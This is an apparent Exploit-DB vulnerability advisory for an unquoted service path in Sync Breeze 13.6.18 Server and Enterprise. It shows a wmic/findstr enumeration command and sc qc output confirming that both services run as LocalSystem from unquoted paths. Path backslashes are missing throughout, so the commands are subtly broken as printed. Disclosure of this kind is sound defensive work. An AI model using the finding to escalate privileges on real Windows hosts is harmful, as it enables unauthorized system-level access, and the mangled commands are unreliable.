Exploit/Advisories

# Exploit Title: Sync Breeze 13.6.18 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.syncbreeze.com/
# Software Links:
# https://www.syncbreeze.com/setups_x64/syncbreezesrv_setup_v13.6.18_x64.exe
# https://www.syncbreeze.com/setups_x64/syncbreezeent_setup_v13.6.18_x64.exe
# Tested Version: 13.6.18
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:windows\" |findstr /i /v """

Sync Breeze Server Sync Breeze Server C:Program FilesSync Breeze
Serverbinsyncbrs.exe Auto
Sync Breeze Enterprise Sync Breeze Enterprise C:Program FilesSync
Breeze Enterprisebinsyncbrs.exe Auto

C:UsersIEUser>sc qc "Sync Breeze Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:Program FilesSync Breeze
Serverbinsyncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:UsersIEUser>sc qc "Sync Breeze Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:Program FilesSync Breeze
Enterprisebinsyncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

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